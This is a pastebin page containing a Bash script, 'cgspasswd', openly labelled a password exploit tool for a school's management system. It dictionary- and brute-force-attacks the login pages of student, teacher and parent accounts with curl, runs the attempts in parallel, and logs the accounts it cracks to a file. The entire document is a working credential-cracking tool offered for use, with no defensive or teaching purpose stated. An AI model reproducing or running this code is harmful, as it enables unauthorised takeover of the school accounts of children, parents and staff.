Re: Re: Untitled

From Chocolate Cassowary, 7 Years ago, written in Bash, viewed 812 times. This paste is a reply to Re: Untitled from Subtle Bison - view diff
URL https://code.nat.moe/view/ff0d48f1 Embed
Download Paste or View Raw
  1. #!/bin/bash
  2.  
  3. # cgspasswd - Country Gardern School Password exploit tool
  4. # cgspasswd is a free software, maintaince by MagicNAT Networing
  5. # Version 0.6.3 (C) MagicNAT Networking
  6. #
  7. # MUTIL-PROCESS HELP
  8. #
  9. # The mutiple process function is currently in development. You can still use it. However it
  10. # might cause some problems.
  11. #
  12. # To use MP mode, create a dir with you id dict or password dict in it, cgspasswd will start
  13. # different process for each dict files in it.
  14. #
  15. # DEFINATIONS
  16. #
  17. # id: The id of student, teacher, or parent
  18. # passwd: The passwd of student, teacher, or parent
  19. # type: The type of id, could be tea, stu, or par, stand for student, teacher, and parent
  20. # verbose: Set this to get into verbose mode. Showing all password or id tried
  21. #
  22. # cgspasswd CONFIGURE
  23. #
  24. # URL_PREFIX: The prefix of url
  25. # URL_EXTENTION: The extention of url
  26. # WEEK_PASSWD_DICT: The path to week id dict
  27. # ID_DICT: The path to ID dict
  28. # PW_DICT: The path to Password dict
  29. # ID_MP_DICT: The path to ID dict dir when using mutilple process
  30. # PW_MP_DICT: The path to Password dict dir when using mutilple process
  31. # CRACK_MP_PID: The path to pid dir of MP cracking work
  32. # WEEKPW_MP_PID: The path to pid dir of MP weekpw exploit work
  33. # CRACKED_SAVE: The path to the file to save cracked accounts
  34.  
  35. function pre_config {
  36. URL_PREFIX="http://127.0.0.1:8080/mis/info/tea_info/"
  37. URL_EXTENTION="_Login.asp"
  38. WEEK_PASSWD_DICT="./dicts/wpw.dict"
  39. ID_DICT="./dicts/id.dict"
  40. PW_DICT="./dicts/pw.dict"
  41. ID_MP_DICT="./dicts/ids/"
  42. PW_MP_DICT="./dicts/pws/"
  43. #CRACK_MP_PID="./.crack_mp.pid/"
  44. #WEEKPW_MP_PID="./.weekpw_mp.pid/"
  45. CRACKED_SAVE="./cracked.txt"
  46. }
  47.  
  48. function config {
  49.         [[ -z $1 ]] && echo "config: Missing parameter" && return 1
  50.         case $1 in
  51.                 URL_PREFIX)
  52.                         [[ -z $2 ]] && echo $1=$URL_PREFIX && return 0
  53.                         URL_PREFIX=$2
  54.                 ;;
  55.                 URL_EXTENTION)
  56.                         [[ -z $2 ]] && echo $1=$URL_EXTENTION && return 0
  57.                         URL_EXTENTION=$2
  58.                 ;;
  59.                 WEEK_PASSWD_DICT)
  60.                         [[ -z $2 ]] && echo $1=$WEEK_PW_DICT && return 0
  61.                         WEEK_PASSWD_DICT=$2
  62.                 ;;
  63.                 ID_DICT)
  64.                         [[ -z $2 ]] && echo $1=$ID_DICT && return 0
  65.                         ID_DICT=$2
  66.                 ;;
  67.                 PW_DICT)
  68.                         [[ -z $2 ]] && echo $1=$PW_DICT && return 0
  69.                         PW_DICT=$2
  70.                 ;;
  71.                 ID_MP_DICT)
  72.                         [[ -z $2 ]] && echo $1=$ID_MP_DICT && return 0
  73.                         ID_MP_DICT=$2
  74.                 ;;
  75.                 PW_MP_DICT)
  76.                         [[ -z $2 ]] && echo $1=$PW_MP_DICT && return 0
  77.                         PW_MP_DICT=$2
  78.                 ;;
  79. #               CRACK_MP_PID)
  80. #                       [[ -z $2 ]] && echo $1=$CRACK_MP_PID && return 0
  81. #                       CRACK_MP_PID=$2
  82. #               ;;
  83. #               WEEKPW_MP_PID)
  84. #                       [[ -z $2 ]] && echo $1=$WEEKPW_MP_PID && return 0
  85. #                       WEEKPW_MP_PID=$2
  86. #               ;;
  87.                 CRACKED_SAVE)
  88.                         [[ -z $2 ]] && echo $1=$CRACKED_SAVE && return 0
  89.                         CRACKED_SAVE=$2
  90.                 ;;
  91.                 reset)
  92.                         echo -n "Reset config with pre_config... "
  93.                         pre_config
  94.                         echo "OK"
  95.                 ;;
  96.         esac
  97.         chk_conf
  98. }
  99.  
  100. # help: Get help, usage: help [topic]
  101.  
  102. function help {
  103.         [[ -z $* ]] && echo -e "\n Available topics are: config, chk_login, chk_cracked, weekpw[_mp], crack[_mp]\n mp, new\n" && return 0
  104.         case $1 in
  105.                 config)
  106. #                       echo -e "\n CGSPASSWD CONFIGURE\n\n URL_PREFIX: The prefix of url\n URL_EXTENTION: The extention of url\n WEEK_PASSWD_DICT: The path to week id dict\n ID_DICT: The path to ID dict\n PW_DICT: The path to Password dict\n ID_MP_DICT: The path to ID dict dir when using mutilple process\n PW_MP_DICT: The path to Password dict dir when using mutilple process\n CRACK_MP_PID: The path to pid dir of MP cracking work\n WEEKPW_MP_PID: The path to pid dir of MP weekpw exploit work\n CRACKED_SAVE: The path to the file to save cracked accounts\n\n Usage: config <item> [value]\n      config reset\n"
  107.                         echo -e "\n CGSPASSWD CONFIGURE\n\n URL_PREFIX: The prefix of url\n URL_EXTENTION: The extention of url\n WEEK_PASSWD_DICT: The path to week id dict\n ID_DICT: The path to ID dict\n PW_DICT: The path to Password dict\n ID_MP_DICT: The path to ID dict dir when using mutilple process\n PW_MP_DICT: The path to Password dict dir when using mutilple process\n CRACKED_SAVE: The path to the file to save cracked accounts\n\n Usage: config <item> [value]\n     config reset\n"
  108.  
  109.                 ;;
  110.                 chk_login)
  111.                         echo -e "\n Check a login, usage: chk_login <id> <passwd> <type>\n id: The id of student, teacher, or parent\n passwd: The passwd of student, teacher, or parent\n type: The type of id, could be tea, stu, or par, stand for student, teacher, \n and parent\n"
  112.                 ;;
  113.                 chk_cracked)
  114.                         echo -e "\n Check for the logins that already cracked for failure\n Usage: chk_cracked [verbose]\n verbose: Set this to get into verbose mode. Showing all password or id tried\n"
  115.                 ;;
  116.                 weekpw|weekpw_mp)
  117.                         echo -e "\n weekpw[_mp]: Find week passwords with id dict and weekpasswd dict\n Usage: weekpw[_mp] <type> [verbose]\n using '_mp' will enable Mutli-Process, see help mp for more informations.\n type: The type of id, could be tea, stu, or par, stand for student, teacher,\n and parent\n verbose: Set this to get into verbose mode. Showing all password or id tried\n"
  118.                 ;;
  119.                 crack|crack_mp)
  120.                         echo -e "\n crack[_mp]: Crack the password of an id.\n Usage: crack[_mp] <id> <type> [verbose]\n using '_mp' will enable Mutli-Process, see help mp for more informations.\n id: The id of student, teacher, or parent\n type: The type of id, could be tea, stu, or par, stand for student, teacher,\n and parent\n verbose: Set this to get into verbose mode. Showing all password or id tried\n"
  121.                 ;;
  122.                 mp)
  123.                         echo -e "\n MUTIL-PROCESS HELP\n \n The mutiple process function is currently in development. You can still use \n it. However it might cause some problems. \n\n To use MP mode, create a dir with you id dict or password dict in it, \n cgspasswd will start different process for each dict files in it.\n"
  124.                 ;;
  125.                 new)
  126.                         echo -e "\n new: Start a command in backgound.\n This will be helpful when you are trying to runing mutil tasks.\n Usage: new <command> \n"
  127.                 ;;
  128.                 *)
  129.                         echo -e "\n Help topic $1 not found. $(help)\n"
  130.                 ;;
  131.                 esac
  132. }
  133.  
  134. # chk_login: Check a login, usage: chk_login <id> <passwd> <type>
  135.  
  136. function chk_login {
  137.         [[ -z $3 ]] && echo "chk_login: Missing parameters" && return 1
  138.         [[ ! -z $(curl --data "t1=$1&t2=$2" $URL_PREFIX$3$URL_EXTENTION 2> /dev/null | grep moved) ]] && echo "true" && return 0
  139.         echo "false" && return 1
  140. }
  141.  
  142. # chk_cracked: Check for the logins that already cracked for failurem, usage: chk_cracked [verbose]
  143.  
  144. function chk_cracked {
  145.         [[ ! -e $CRACKED_SAVE ]] && echo "chk_cracked: Cracked account file $CRACKED_SAVE not exist." && return 1
  146.         ACCTLIST=$(cat $CRACKED_SAVE | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g")
  147.         for acct in $ACCTLIST
  148.         do
  149.                 typ=$(echo $acct | awk -F, '{print $1}')
  150.                 id=$(echo $acct | awk -F, '{print $2}')
  151.                 passwd=$(echo $acct | awk -F, '{print $3}')
  152.                 [[ ! -z $1 ]] && echo -n "Tesing login $id($typ) with $passwd... "
  153.                 [[ $(chk_login $id $passwd $typ) == "false" ]] && echo "Account $id, type $typ, is not able to login with $psswd now." || echo "OK"
  154.         done
  155. }
  156.  
  157. # weekpw: Find week passwords with id dict and weekpasswd dict, usage: weekpw <type> [verbose]
  158.  
  159. function weekpw {
  160.         [[ -z $1 ]] && echo "weekpw: Missing parameters" && return 1
  161.         for id in $( cat $ID_DICT )
  162.         do
  163.                 for passwd in $(cat $WEEK_PASSWD_DICT)
  164.                 do
  165.                         [[ ! -z $2 ]] && echo "Trying login $id($1) with $passwd... "
  166.                         [[ $( chk_login $id $passwd $1 ) == "true" ]] && write_cracked $id $passwd $1 && break
  167.                 done
  168.         done
  169. }
  170.  
  171. # weekpw_mp: Find week passwords with id dicts and weekpasswd dict using MP, usage: weekpw_mp <type> [verbose]
  172.  
  173. function weekpw_mp {
  174.         [[ -z $1 ]] && echo "weekpw_mp: Missing parameters" && return 1
  175.         for dict in $(ls $ID_MP_DICT)
  176.         do
  177.                 weekpw_mp_core $ID_MP_DICT$dict $1 $2 &
  178.         done
  179. }
  180.  
  181. # Internal function, core module of weekpw_mp, should not be called by user.
  182.  
  183. function weekpw_mp_core {
  184.         [[ -z $2 ]] && echo "weekpw_mp_core: Missing parameters" && return 1
  185.         #echo $$ > $WEEKPW_MP_PID$$
  186.         for id in $(cat $1)
  187.         do
  188.                 for passwd in $(cat $WEEK_PASSWD_DICT)
  189.                 do
  190.                         [[ ! -z $3 ]] && echo "Trying login $id($2) with $passwd... "
  191.                         [[ $( chk_login $id $passwd $2 ) == "true" ]] && write_cracked $id $passwd $2 && break
  192.                 done
  193.         done
  194.         #rm $WEEKPW_MP_PID$$
  195. }
  196.  
  197. # crack: Crack the password of an id, usage: crack <id> <type> [verbose]
  198.  
  199. function crack {
  200.         [[ -z $2 ]] && echo "crack: Missing parameters" && return 1
  201.         for passwd in $(cat $PW_DICT)
  202.         do
  203.                 [[ ! -z $3 ]] && echo "Trying login $1($2) with $passwd... "
  204.                 [[ $( chk_login $1 $passwd $2 ) == "true" ]] && write_cracked $1 $passwd $2 && break
  205.         done
  206. }
  207.  
  208. # crack_mp: Crack the password of an id using MP, usage: crack <id> <type> [verbose]
  209.  
  210. function crack_mp {
  211.         [[ -z $2 ]] && echo "crack_mp: Missing parameters" && return 1
  212.         for dict in $(ls $PW_MP_DICT)
  213.         do
  214.                 crack_mp_core $PW_MP_DICT$dict $1 $2 $3 &
  215.         done
  216.  
  217. }
  218.  
  219. # Internal function, core module of crack_mp, should not be called by user.
  220.  
  221. function crack_mp_core {
  222.         [[ -z $3 ]] && echo "crack_mp_core: Missing parameters" && return 1
  223.         #echo $$ > $CRACK_MP_PID$$
  224.         for passwd in $(cat $1)
  225.         do
  226.                 [[ ! -z $4 ]] && echo "Trying login $2($3) with $passwd... "
  227.                 [[ $( chk_login $2 $passwd $3 ) == "true" ]] && write_cracked $2 $passwd $3 && exit exit && break
  228.         done
  229.         #rm $CRACK_MP_PID$$
  230. }
  231.  
  232. # Internal function, write creaked account, should not be called by user.
  233.  
  234. function write_cracked {
  235.         [[ -z $3 ]] && echo "write_cracked: Missing parameters" && return 1
  236.         MSG="[$(date)] CRACKED: Type $3, ID $1, Password $2"
  237.         echo $MSG
  238.         echo $MSG >> $CRACKED_SAVE
  239.         return 0
  240. }
  241.  
  242. # Interactive mode
  243.  
  244. function interactive {
  245.         echo "cgspasswd 0.6 (Interactive mode) "
  246.         echo "Copyright 2014 MagicNAT Networking"
  247.         echo "This is free software with ABSOLUTELY NO WARRANTY."
  248.         echo "For help, type help"
  249.         while true
  250.         do
  251.                 echo -n "cgspasswd> "; read cmd;
  252.                 if [[ ! -z $cmd ]]
  253.                 then
  254.                         exe=$(echo $cmd | awk '{print $1}')
  255.                         if ! type "$exe" > /dev/null 2> /dev/null
  256.                         then
  257.                                 echo "cgspasswd: command not found: $exe"
  258.                         else
  259.                                 $cmd
  260.                         fi
  261.                 fi
  262.         done
  263. }
  264.  
  265. # Init cgspasswd
  266.  
  267. function cgsinit {
  268.         pre_config
  269.         chk_conf
  270. #       mpinit
  271. }
  272.  
  273. # Config check
  274.  
  275. function chk_conf {
  276.         for files in $WEEK_PASSWD_DICT $ID_DICT $PW_DICT $ID_MP_DICT $PW_MP_DICT
  277.         do
  278.         #       [[ ! -e $files || -z $URL_PREFIX || -z $URL_EXTENTION || -z $CRACK_MP_PID || -z $WEEKPW_MP_PID ]] && echo "Something wrong, cgspasswd will now exit." && exit 1
  279.                 [[ ! -e $files || -z $URL_PREFIX || -z $URL_EXTENTION ]] && echo "Something wrong, cgspasswd will now exit." && exit 1  
  280.         done
  281. }
  282.  
  283. # Init MP mode
  284. #
  285. #function mpinit {
  286. #       mkdir $WEEKPW_MP_PID
  287. #       mkdir $CRACK_MP_PID
  288. #}
  289.  
  290. # new: Start a command background, usage: new <cmd>
  291.  
  292. function new {
  293.         [[ -z $* ]] && return 0
  294.         if ! type "$1" > /dev/null 2> /dev/null
  295.         then
  296.                 echo "new: command not found: $*"
  297.         else
  298.                 $* &
  299.         fi
  300.  
  301. }
  302.  
  303. # exit cgspasswd
  304.  
  305. function exit {
  306.         pkill -9 -P $$ > /dev/null 2> /dev/null
  307.         [[ -z $1 ]] && kill -9 $$ > /dev/null 2> /dev/null
  308. }
  309.  
  310. # Main function
  311.  
  312. function main {
  313.         cgsinit
  314.         trap 'exit' 2 3 15
  315.         [[ -z $* ]] && interactive
  316.         $*
  317. }
  318.  
  319. # Call main
  320.  
  321. main $*

Reply to "Re: Re: Untitled"

Here you can reply to the paste above

captcha